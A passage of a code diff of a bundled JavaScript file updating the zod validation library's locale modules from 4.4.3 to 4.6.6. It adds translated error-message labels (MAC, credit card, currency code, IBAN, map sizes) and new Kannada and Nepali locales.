"\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62073,12 +63655,16 @@ var error25 = () => { duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + mac: "MAC \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", json_string: "JSON \u10D5\u10D4\u10DA\u10D8", e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + credit_card: "\u10E1\u10D0\u10D9\u10E0\u10D4\u10D3\u10D8\u10E2\u10DD \u10D1\u10D0\u10E0\u10D0\u10D7\u10D8\u10E1 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + currency_code: "\u10D5\u10D0\u10DA\u10E3\u10E2\u10D8\u10E1 \u10D9\u10DD\u10D3\u10D8", + iban: "IBAN", jwt: "JWT", template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" }; @@ -62150,17 +63736,18 @@ var error25 = () => { }; function ka_default() { return { - localeError: error25() + localeError: error29() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js -var error26 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/km.js +var error30 = () => { const Sizable = { string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, - set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + map: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62186,12 +63773,16 @@ var error26 = () => { duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + mac: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 MAC", cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", e164: "\u179B\u17C1\u1781 E.164", + credit_card: "\u179B\u17C1\u1781\u1794\u17D0\u178E\u17D2\u178E\u17A5\u178E\u1791\u17B6\u1793", + currency_code: "\u1780\u17BC\u178A\u179A\u17BC\u1794\u17B7\u1799\u1794\u17D0\u178E\u17D2\u178E", + iban: "IBAN", jwt: "JWT", template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" }; @@ -62261,22 +63852,139 @@ var error26 = () => { }; function km_default() { return { - localeError: error26() + localeError: error30() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kh.js function kh_default() { return km_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js -var error27 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kn.js +var error31 = () => { + const Sizable = { + string: { unit: "\u0C85\u0C95\u0CCD\u0CB7\u0CB0\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + file: { unit: "\u0CAC\u0CC8\u0C9F\u0CCD\u200C\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + array: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + set: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + map: { unit: "entries", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD", + email: "email \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95\u0CA6 \u0CB8\u0CAE\u0CAF", + date: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95", + time: "ISO \u0CB8\u0CAE\u0CAF", + duration: "ISO \u0C85\u0CB5\u0CA7\u0CBF", + ipv4: "IPv4 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + ipv6: "IPv6 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + mac: "MAC \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + cidrv4: "IPv4 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + cidrv6: "IPv6 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + base64: "base64-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + base64url: "base64url-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + json_string: "JSON\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + e164: "E.164 \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + credit_card: "\u0C95\u0CCD\u0CB0\u0CC6\u0CA1\u0CBF\u0C9F\u0CCD \u0C95\u0CBE\u0CB0\u0CCD\u0CA1\u0CCD \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + currency_code: "\u0C95\u0CB0\u0CC6\u0CA8\u0CCD\u0CB8\u0CBF \u0C95\u0CCB\u0CA1\u0CCD", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${expected}, \u0CB8\u0CCD\u0CB5\u0CC0\u0C95\u0CB0\u0CBF\u0CB8\u0CBF\u0CA6\u0CA8\u0CC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C86\u0CAF\u0CCD\u0C95\u0CC6: \u0C87\u0CB5\u0CC1\u0C97\u0CB3\u0CB2\u0CCD\u0CB2\u0CBF \u0C92\u0C82\u0CA6\u0CA8\u0CCD\u0CA8\u0CC1 \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0C85\u0C82\u0CB6\u0C97\u0CB3\u0CC1"}`; + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0CAA\u0CCD\u0CB0\u0CBE\u0CB0\u0C82\u0CAD\u0CBF\u0CB8\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0C95\u0CCA\u0CA8\u0CC6\u0C97\u0CCA\u0CB3\u0CCD\u0CB3\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C92\u0CB3\u0C97\u0CCA\u0C82\u0CA1\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0CAE\u0CBE\u0CA6\u0CB0\u0CBF\u0C97\u0CC6 \u0CB9\u0CCA\u0C82\u0CA6\u0CBF\u0C95\u0CC6\u0CAF\u0CBE\u0C97\u0CAC\u0CC7\u0C95\u0CC1 ${_issue.pattern}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6: \u0CAC\u0CB9\u0CC1\u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6\u0CAF\u0CBE\u0C97\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0C97\u0CC1\u0CB0\u0CC1\u0CA4\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CA6 \u0C95\u0CC0 ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0C95\u0CC0 \u0C87\u0CA8\u0CCD ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CA4\u0CBE\u0CB0\u0CA4\u0CAE\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF. \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${opts}`; + } + return "\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD"; + case "invalid_element": + return `\u0CB0\u0CB2\u0CCD\u0CB2\u0CBF \u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF ${issue2.origin}`; + default: + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD`; + } + }; +}; +function kn_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ko.js +var error32 = () => { const Sizable = { string: { unit: "\uBB38\uC790", verb: "to have" }, file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, array: { unit: "\uAC1C", verb: "to have" }, - set: { unit: "\uAC1C", verb: "to have" } + set: { unit: "\uAC1C", verb: "to have" }, + map: { unit: "\uAC1C", verb: "to have" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62302,12 +64010,16 @@ var error27 = () => { duration: "ISO \uAE30\uAC04", ipv4: "IPv4 \uC8FC\uC18C", ipv6: "IPv6 \uC8FC\uC18C", + mac: "MAC \uC8FC\uC18C", cidrv4: "IPv4 \uBC94\uC704", cidrv6: "IPv6 \uBC94\uC704", base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", json_string: "JSON \uBB38\uC790\uC5F4", e164: "E.164 \uBC88\uD638", + credit_card: "\uC2E0\uC6A9\uCE74\uB4DC \uBC88\uD638", + currency_code: "\uD1B5\uD654 \uCF54\uB4DC", + iban: "IBAN", jwt: "JWT", template_literal: "\uC785\uB825" }; @@ -62378,11 +64090,11 @@ var error27 = () => { }; function ko_default() { return { - localeError: error27() + localeError: error32() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/lt.js var capitalizeFirstCharacter = (text2) => { return text2.charAt(0).toUpperCase() + text2.slice(1); }; @@ -62396,7 +64108,7 @@ function getUnitTypeFromNumber(number4) { return "one"; return "few"; } -var error28 = () => { +var error33 = () => { const Sizable = { string: { unit: { @@ -62497,12 +64209,16 @@ var error28 = () => { duration: "ISO trukm\u0117", ipv4: "IPv4 adresas", ipv6: "IPv6 adresas", + mac: "MAC adresas", cidrv4: "IPv4 tinklo prefiksas (CIDR)", cidrv6: "IPv6 tinklo prefiksas (CIDR)", base64: "base64 u\u017Ekoduota eilut\u0117", base64url: "base64url u\u017Ekoduota eilut\u0117", json_string: "JSON eilut\u0117", e164: "E.164 numeris", + credit_card: "kredito kortel\u0117s numeris", + currency_code: "valiutos kodas", + iban: "IBAN", jwt: "JWT", template_literal: "\u012Fvestis" }; @@ -62582,17 +64298,18 @@ var error28 = () => { }; function lt_default() { return { - localeError: error28() + localeError: error33() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js -var error29 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/mk.js +var error34 = () => { const Sizable = { string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, - set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + map: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62618,12 +64335,16 @@ var error29 = () => { duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + mac: "MAC \u0430\u0434\u0440\u0435\u0441\u0430", cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", json_string: "JSON \u043D\u0438\u0437\u0430", e164: "E.164 \u0431\u0440\u043E\u0458", + credit_card: "\u0431\u0440\u043E\u0458 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0438\u0447\u043A\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u043D\u0435\u0441" }; @@ -62692,17 +64413,18 @@ var error29 = () => { }; function mk_default() { return { - localeError: error29() + localeError: error34() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js -var error30 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ms.js +var error35 = () => { const Sizable = { string: { unit: "aksara", verb: "mempunyai" }, file: { unit: "bait", verb: "mempunyai" }, array: { unit: "elemen", verb: "mempunyai" }, - set: { unit: "elemen", verb: "mempunyai" } + set: { unit: "elemen", verb: "mempunyai" }, + map: { unit: "elemen", verb: "mempunyai" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62728,12 +64450,16 @@ var error30 = () => { duration: "tempoh ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "julat IPv4", cidrv6: "julat IPv6", base64: "string dikodkan base64", base64url: "string dikodkan base64url", json_string: "string JSON", e164: "nombor E.164", + credit_card: "nombor kad kredit", + currency_code: "kod mata wang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -62800,17 +64526,130 @@ var error30 = () => { }; function ms_default() { return { - localeError: error30() + localeError: error35() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js -var error31 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ne.js +var error36 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + file: { unit: "\u092C\u093E\u0907\u091F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0907\u092E\u0947\u0932 \u0920\u0947\u0917\u093E\u0928\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u092E\u093F\u0924\u093F \u0930 \u0938\u092E\u092F", + date: "ISO \u092E\u093F\u0924\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u0920\u0947\u0917\u093E\u0928\u093E", + ipv6: "IPv6 \u0920\u0947\u0917\u093E\u0928\u093E", + mac: "MAC \u0920\u0947\u0917\u093E\u0928\u093E", + cidrv4: "IPv4 \u0926\u093E\u092F\u0930\u093E", + cidrv6: "IPv6 \u0926\u093E\u092F\u0930\u093E", + base64: "base64-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + base64url: "base64url-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + e164: "E.164 \u0928\u092E\u094D\u092C\u0930", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0928\u092E\u094D\u092C\u0930", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u0939\u0930\u0942 \u092E\u0927\u094D\u092F\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u093E ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} \u092E\u093E ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.prefix}" \u092C\u093E\u091F \u0938\u0941\u0930\u0941 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.suffix}" \u092E\u093E \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.includes}" \u0938\u092E\u093E\u0935\u0947\u0936 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: \u0922\u093E\u0901\u091A\u093E ${_issue.pattern} \u0938\u0901\u0917 \u092E\u0947\u0932 \u0916\u093E\u0928\u0941\u092A\u0930\u094D\u091B`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: ${issue2.divisor} \u0915\u094B \u0917\u0941\u0923\u091C \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u091E\u094D\u091C\u0940${issue2.keys.length > 1 ? "\u0939\u0930\u0942" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u091E\u094D\u091C\u0940: ${issue2.origin} \u092E\u093E`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return 